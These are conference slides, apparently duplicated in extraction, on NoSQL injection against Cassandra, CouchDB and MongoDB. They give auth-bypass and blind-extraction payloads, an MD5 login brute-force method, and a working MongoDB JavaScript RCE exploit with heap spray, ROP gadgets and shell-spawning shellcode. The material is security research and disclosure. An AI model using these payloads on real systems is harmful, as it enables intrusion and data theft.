No SQL injection but NoSQL Injection
NoSecurity or not ?
1
2
Plans
› What's/Why NoSQL ?
› Work in progress
› Cassandra
› CouchDB
› Mass pwnage...
3
NoSQL fashion way of life
› Database system
› ''Not only SQL''
› More simple
› Flexible Schema
› Easier scalability/replication
› No SQL language
› Young and hipster
4
NoSQL Hipsters
5
Cassandra
› Key-Value based
› Java
› HomeMade Protocol
› Port 9160
› SSL available
› Authentication available
› CQL
6
Cassandra › Let's find CQL injection
› Cassandra model
› Keyspace (=database)
› ColumnFamily (=table)
› Key with no fixed Columns
› OR 1=1 ?
7
Cassandra › WHERE CONDITION
› No OR
› No UNION
› No subrequests
› Term must be indexed
columns
8
To be continued...
9
CouchDB
› Documents based
› Erlang
› RESTfull protocol
› SSL available
› Port 5984
› Authentication available
› Javascript based
10
CouchDB - RESTfull
› Use HTTP protocol only
› GET, PUT, POST, DELETE...
› curl -X PUT http://localhost:5984/test/
› curl -X POST http://localhost:5984/test/ -H "Content-Type:
application/json" -d {name : 'value'}
› curl -X GET http://localhost:5984/test/_all_docs
› curl -X DELETE http://localhost:5984/test/
› CSRF ?
› SOP protected
11
CouchDB - Javascript
› JSON documents
› Special _design documents
› views
› shows
› lists
› validate_doc_update
› All in JS
› SSJI ?
12
CouchDB - SSJI
› No function rewriting
› No variable leak
› _design leak
curl -X GET http://localhost:5984/my_db/_design/articles/_show/eval/?
test=JSON.stringify(this.validate_doc_update)
"function(newDoc, oldDoc, userCtx) {
if(newDoc.auth!='secret') { throw('NO!'); }
}"
13
To be continued...
14
0day inside
15
mongoDB
› Documents based
› C/C++
› Home Made protocol
› SSL available
› Port 27017
› Authentication available
› Javascript based
16
mongoDB – Home Made Protocol
› Bson based
› Challenge response authentication
Nonce : e16fb6a8c31ac15a
User : agix
Key : 3f5c7a073c3fb54c96b860b7f397bfc7
17
./src/mongo/client/dbclient.cpp
Nonce : e16fb6a8c31ac15a
User : agix
Key : 3f5c7a073c3fb54c96b860b7f397bfc7
18
mongoDB – Home Made Protocol
key=md5(nonce+username+md5(username+':mongo :'+clearPassword))
Bruteforce !
md5('agix:mongo:toto')='1fdea392256218a5f3afa9918733fab4'
md5('e16fb6a8c31ac15aagix1fdea392256218a5f3afa9918733fab4')=
e16fb6a8c31ac15aagix1fdea392256218a5f3afa9918733fab4!=key
md5('agix:mongo:password')='725d67fffa6b8fc54b6950407f9dc810'
md5('e16fb6a8c31ac15aagix725d67fffa6b8fc54b6950407f9dc810')=
'3f5c7a073c3fb54c96b860b7f397bfc7'==key
Key : 3f5c7a073c3fb54c96b860b7f397bfc7
19
mongoDB – Associative Array
› Database
Collections
Documents
› Data manipulation with JSON array
› db.my_collection.insert({key_name:"value",my_array:[1,2,3],
my_assoc_array:{key1_name:"value",key2_name:"value"}})
› db.my_collection.find({key_name : "value"})
› Special KeyName : operator
20
mongoDB – operators
› Only on update and find query
› Conditions
› Comparison ($gt, $in, $ne...)
› Logical ($and, $or, $nor, $not)
› Element ($exists, $type, $mod)
› Javascript ($where, $regex)
›
› Data manipulation with JSON array
› db.my_collection.find({key_name : {$exists:true, $in:[1,2,3]}})
21
mongoDB –
22
mongoDB –
› $_POST is an array
› login=test&pass=test => {'login' : 'test', 'pass' : 'test'}
› $_POST can be an associative array
› login[$ne]=test&pass[$ne]=test => {'login' : {'$ne' : 'test'},
'pass' : {'$ne' : 'test'}}
23
mongoDB –
› Authentication bypass
› Informations leak ?
› login[$regex]=^.{4}$&pass[$ne]=test => {'login' : {'$regex' :
'^a.*'}, 'pass' : {'$ne' : 'test'}}
› login[$regex]=^a.*$&pass[$ne]=test => {'login' : {'$regex' :
'^a.*'}, 'pass' : {'$ne' : 'test'}}
24
mongoDB –
› $regex to get actual document leak
› More leak ?
› $WHERE !
› $where=1==1&login[$exists]=test&pass[$exists]=test
25
mongoDB – Blind true/false based
› db.getCollectionNames().length
› db.getCollectionNames()[0][0]
› tojson(db.secret.find({},{_id:0})[0])[3]
26
mongoDB – What else
› Check javascript methods on mongo website
› http://docs.mongodb.org/manual/reference/method/run/
› Let's check internal usage...
27
mongoDB – SSJI => RCE
function apply() {
[native code]
}
function () {
return nativeHelper.apply(run_, arguments);
}
run
nativeHelper.apply
28
./src/mongo/scripting/engine_spidermonkey.cpp
function apply() {
[native code]
}
function () {
return nativeHelper.apply(run_, arguments);
}
run
nativeHelper.apply
29
mongoDB – SSJI => RCE
$where=nativeHelper.apply({"x" : 0x31337},
[])&login[$exists]=test&pass[$exists]=test
30
mongoDB – Exploitation
› JAVASCRIPT SERVER SIDE EXPLOIT !
› Write reliable exploit
› 32 bits binary
› NX bypass
› ASLR bypass
› Not stack overflow
› No stack control
› EIP is not enough
31
mongoDB – Exploitation
db.my_collection.find({'$where':'tag=unescape("%udb31%ue3f7%u4353%u6a53%u8902%ub0e
1%ucd66%u9380%ub059%ucd3f%u4980%uf979%uac68%u9310%u6801%u0002%u697a
%ue189%u66b0%u5150%ub353%u8903%ucde1%u5280%u2f68%u732f%u6868%u622f
%u6e69%ue389%u5352%ue189%u0bb0%u80cd"); sizechunk=0x1000; chunk="";
for(i=0;i<sizechunk;i++){ chunk+=unescape("%u9090%u9090"); } chunk=chunk.substring(0,
(sizechunk-tag.length)); testarray=new Array(); for(i=0;i<25000;i++){ testarray[i]=chunk+tag; }
tag2=unescape("%uf768%u0816%u0c0c%u0c0c%u0000%u0c0c
%u1000%u0000%u0007%u0000%u0031%u0000%uffff%uffff%u0000%u0000");
sizechunk2=0x1000; chunk2=""; for(i=0;i<sizechunk2;i++)
{ chunk2+=unescape("%u5a70%u0805"); } chunk2=chunk2.substring(0,(sizechunk2-
tag2.length)); testarray2=new Array(); for(i=0;i<25000;i++){ testarray2[i]=chunk2+tag2; }
nativeHelper.apply({"x" : 0x836e204},
["A"+"x26x18x35x08"+"MongoSploit!"+"x58x71x45x08"+"sthack is a nice place to
be"+"x6cx5ax05x08"+"x20x20x20x20"+"x58x71x45x08"]);','login':{$exists:'toto'},'pass':
{$exists:'toto'}})
32
mongoDB – Exploitation
› Land to the stack
› PIVOT 1
› [Eax] => pointer+0xb => nativeHelper argument
› Gadget 1 : Mov eax, [eax] … call [eax+0x1c]
› nativeHelper argument is UTF8 encoded without null
byte
› eax+0x1c : gadget 2 : xchg esp, eax [inc esp], ret
› Esp-1 => begining of nativeHelper argument
› Gadget 3 : [inc esp] to clean stack control
33
mongoDB – Exploitation
› Control the stack
› UTF8 and no null byte in nativeHelper argument
› PIVOT 2 => to the rop chain heap sprayed
› Gadget 4 : pop eax, ... ret
› Eax => rop chain in the heap (0x20202020)
› Gadget 5 : xchg esp,eax … ret
› RetSled
› Stack control done !
34
mongoDB – Exploitation
› Execute shellcode
› First Heap Spray with nopsled+shellcode
› mmap RWX the heap
› Jump to the heap (0x0C0C0C0C)
› Enjoy !
35
mongoDB – Exploitation
› To improve
› Heap spray is for pork !
› 64 bits exploit... (null byte :o :o :o)
› Windows exploit
› Multiple version exploit
36
The end
› Still mongo 0day o/
› A lot of work to do...
› NoSQL is not so bad !

StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

  • 1.
    No SQL injectionbut NoSQL Injection NoSecurity or not ? 1
  • 2.
    2 Plans › What's/Why NoSQL? › Work in progress › Cassandra › CouchDB › Mass pwnage...
  • 3.
    3 NoSQL fashion wayof life › Database system › ''Not only SQL'' › More simple › Flexible Schema › Easier scalability/replication › No SQL language › Young and hipster
  • 4.
  • 5.
    5 Cassandra › Key-Value based ›Java › HomeMade Protocol › Port 9160 › SSL available › Authentication available › CQL
  • 6.
    6 Cassandra › Let'sfind CQL injection › Cassandra model › Keyspace (=database) › ColumnFamily (=table) › Key with no fixed Columns › OR 1=1 ?
  • 7.
    7 Cassandra › WHERECONDITION › No OR › No UNION › No subrequests › Term must be indexed columns
  • 8.
  • 9.
    9 CouchDB › Documents based ›Erlang › RESTfull protocol › SSL available › Port 5984 › Authentication available › Javascript based
  • 10.
    10 CouchDB - RESTfull ›Use HTTP protocol only › GET, PUT, POST, DELETE... › curl -X PUT http://localhost:5984/test/ › curl -X POST http://localhost:5984/test/ -H "Content-Type: application/json" -d {name : 'value'} › curl -X GET http://localhost:5984/test/_all_docs › curl -X DELETE http://localhost:5984/test/ › CSRF ? › SOP protected
  • 11.
    11 CouchDB - Javascript ›JSON documents › Special _design documents › views › shows › lists › validate_doc_update › All in JS › SSJI ?
  • 12.
    12 CouchDB - SSJI ›No function rewriting › No variable leak › _design leak curl -X GET http://localhost:5984/my_db/_design/articles/_show/eval/? test=JSON.stringify(this.validate_doc_update) "function(newDoc, oldDoc, userCtx) { if(newDoc.auth!='secret') { throw('NO!'); } }"
  • 13.
  • 14.
  • 15.
    15 mongoDB › Documents based ›C/C++ › Home Made protocol › SSL available › Port 27017 › Authentication available › Javascript based
  • 16.
    16 mongoDB – HomeMade Protocol › Bson based › Challenge response authentication Nonce : e16fb6a8c31ac15a User : agix Key : 3f5c7a073c3fb54c96b860b7f397bfc7
  • 17.
    17 ./src/mongo/client/dbclient.cpp Nonce : e16fb6a8c31ac15a User: agix Key : 3f5c7a073c3fb54c96b860b7f397bfc7
  • 18.
    18 mongoDB – HomeMade Protocol key=md5(nonce+username+md5(username+':mongo :'+clearPassword)) Bruteforce ! md5('agix:mongo:toto')='1fdea392256218a5f3afa9918733fab4' md5('e16fb6a8c31ac15aagix1fdea392256218a5f3afa9918733fab4')= e16fb6a8c31ac15aagix1fdea392256218a5f3afa9918733fab4!=key md5('agix:mongo:password')='725d67fffa6b8fc54b6950407f9dc810' md5('e16fb6a8c31ac15aagix725d67fffa6b8fc54b6950407f9dc810')= '3f5c7a073c3fb54c96b860b7f397bfc7'==key Key : 3f5c7a073c3fb54c96b860b7f397bfc7
  • 19.
    19 mongoDB – AssociativeArray › Database Collections Documents › Data manipulation with JSON array › db.my_collection.insert({key_name:"value",my_array:[1,2,3], my_assoc_array:{key1_name:"value",key2_name:"value"}}) › db.my_collection.find({key_name : "value"}) › Special KeyName : operator
  • 20.
    20 mongoDB – operators ›Only on update and find query › Conditions › Comparison ($gt, $in, $ne...) › Logical ($and, $or, $nor, $not) › Element ($exists, $type, $mod) › Javascript ($where, $regex) › › Data manipulation with JSON array › db.my_collection.find({key_name : {$exists:true, $in:[1,2,3]}})
  • 21.
  • 22.
    22 mongoDB – › $_POSTis an array › login=test&pass=test => {'login' : 'test', 'pass' : 'test'} › $_POST can be an associative array › login[$ne]=test&pass[$ne]=test => {'login' : {'$ne' : 'test'}, 'pass' : {'$ne' : 'test'}}
  • 23.
    23 mongoDB – › Authenticationbypass › Informations leak ? › login[$regex]=^.{4}$&pass[$ne]=test => {'login' : {'$regex' : '^a.*'}, 'pass' : {'$ne' : 'test'}} › login[$regex]=^a.*$&pass[$ne]=test => {'login' : {'$regex' : '^a.*'}, 'pass' : {'$ne' : 'test'}}
  • 24.
    24 mongoDB – › $regexto get actual document leak › More leak ? › $WHERE ! › $where=1==1&login[$exists]=test&pass[$exists]=test
  • 25.
    25 mongoDB – Blindtrue/false based › db.getCollectionNames().length › db.getCollectionNames()[0][0] › tojson(db.secret.find({},{_id:0})[0])[3]
  • 26.
    26 mongoDB – Whatelse › Check javascript methods on mongo website › http://docs.mongodb.org/manual/reference/method/run/ › Let's check internal usage...
  • 27.
    27 mongoDB – SSJI=> RCE function apply() { [native code] } function () { return nativeHelper.apply(run_, arguments); } run nativeHelper.apply
  • 28.
    28 ./src/mongo/scripting/engine_spidermonkey.cpp function apply() { [nativecode] } function () { return nativeHelper.apply(run_, arguments); } run nativeHelper.apply
  • 29.
    29 mongoDB – SSJI=> RCE $where=nativeHelper.apply({"x" : 0x31337}, [])&login[$exists]=test&pass[$exists]=test
  • 30.
    30 mongoDB – Exploitation ›JAVASCRIPT SERVER SIDE EXPLOIT ! › Write reliable exploit › 32 bits binary › NX bypass › ASLR bypass › Not stack overflow › No stack control › EIP is not enough
  • 31.
    31 mongoDB – Exploitation db.my_collection.find({'$where':'tag=unescape("%udb31%ue3f7%u4353%u6a53%u8902%ub0e 1%ucd66%u9380%ub059%ucd3f%u4980%uf979%uac68%u9310%u6801%u0002%u697a %ue189%u66b0%u5150%ub353%u8903%ucde1%u5280%u2f68%u732f%u6868%u622f %u6e69%ue389%u5352%ue189%u0bb0%u80cd");sizechunk=0x1000; chunk=""; for(i=0;i<sizechunk;i++){ chunk+=unescape("%u9090%u9090"); } chunk=chunk.substring(0, (sizechunk-tag.length)); testarray=new Array(); for(i=0;i<25000;i++){ testarray[i]=chunk+tag; } tag2=unescape("%uf768%u0816%u0c0c%u0c0c%u0000%u0c0c %u1000%u0000%u0007%u0000%u0031%u0000%uffff%uffff%u0000%u0000"); sizechunk2=0x1000; chunk2=""; for(i=0;i<sizechunk2;i++) { chunk2+=unescape("%u5a70%u0805"); } chunk2=chunk2.substring(0,(sizechunk2- tag2.length)); testarray2=new Array(); for(i=0;i<25000;i++){ testarray2[i]=chunk2+tag2; } nativeHelper.apply({"x" : 0x836e204}, ["A"+"x26x18x35x08"+"MongoSploit!"+"x58x71x45x08"+"sthack is a nice place to be"+"x6cx5ax05x08"+"x20x20x20x20"+"x58x71x45x08"]);','login':{$exists:'toto'},'pass': {$exists:'toto'}})
  • 32.
    32 mongoDB – Exploitation ›Land to the stack › PIVOT 1 › [Eax] => pointer+0xb => nativeHelper argument › Gadget 1 : Mov eax, [eax] … call [eax+0x1c] › nativeHelper argument is UTF8 encoded without null byte › eax+0x1c : gadget 2 : xchg esp, eax [inc esp], ret › Esp-1 => begining of nativeHelper argument › Gadget 3 : [inc esp] to clean stack control
  • 33.
    33 mongoDB – Exploitation ›Control the stack › UTF8 and no null byte in nativeHelper argument › PIVOT 2 => to the rop chain heap sprayed › Gadget 4 : pop eax, ... ret › Eax => rop chain in the heap (0x20202020) › Gadget 5 : xchg esp,eax … ret › RetSled › Stack control done !
  • 34.
    34 mongoDB – Exploitation ›Execute shellcode › First Heap Spray with nopsled+shellcode › mmap RWX the heap › Jump to the heap (0x0C0C0C0C) › Enjoy !
  • 35.
    35 mongoDB – Exploitation ›To improve › Heap spray is for pork ! › 64 bits exploit... (null byte :o :o :o) › Windows exploit › Multiple version exploit
  • 36.
    36 The end › Stillmongo 0day o/ › A lot of work to do... › NoSQL is not so bad !